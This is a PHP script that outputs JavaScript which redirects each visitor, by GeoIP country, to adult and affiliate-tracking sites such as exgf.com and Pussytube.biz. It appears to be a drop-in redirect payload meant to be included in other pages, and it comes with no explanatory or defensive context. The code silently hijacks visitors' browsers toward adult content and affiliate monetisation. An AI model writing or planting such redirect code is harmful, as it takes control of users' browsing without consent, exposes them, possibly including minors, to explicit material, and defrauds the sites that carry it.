<?php
header("Content-type: text/javascript");

$countryCode = $_SERVER['GEOIP_COUNTRY_CODE'];

$redirectURL = array();

if ( in_array($countryCode, array('DE','AT')) ) {
  $redirectURL[] = "http://mobile.exgf.com/tours/de/";
  echo 'document.location = "'.$redirectURL[array_rand($redirectURL)].'"';

} else if ( in_array($countryCode, array('FR','BE','LU')) ) {
  $redirectURL[] = "http://redirect.wister.biz/?origine=aff_affil4you_509_ExGFcom";
  echo 'document.location = "'.$redirectURL[array_rand($redirectURL)].'"';

} else if ( in_array($countryCode, array('AR','BR','CO','IT','MX','PE','PT','ES','CR')) ) {
  $redirectURL[] = "http://mo.exgf.com";
  echo 'document.location = "'.$redirectURL[array_rand($redirectURL)].'"';

} else if ( in_array($countryCode, array('DE','CH')) ) {
  $redirectURL[] = "http://dlp.brokerbabe.com/17312";
  echo 'document.location = "'.$redirectURL[array_rand($redirectURL)].'"';

} else if ( in_array($countryCode, array('ZA')) ) {
  $redirectURL[] = "http://Pussytube.biz/s/r?178193XXXXXXXXXXXXz0000UNKXXXXXX";
  echo 'document.location = "'.$redirectURL[array_rand($redirectURL)].'"';

//} else if ( in_array($countryCode, array('GB')) ) {
//  $redirectURL[] = "http://guredirect.vidsmob.co.uk";
//  echo 'document.location = "'.$redirectURL[array_rand($redirectURL)].'"';

//} else if ( in_array($countryCode, array('AU')) ) {
//  $redirectURL[] = "http://m.yoyosis.com/universal/start.action?sid=5136&kid=178185&svc=16370";
//  echo 'document.location = "'.$redirectURL[array_rand($redirectURL)].'"';

}

?>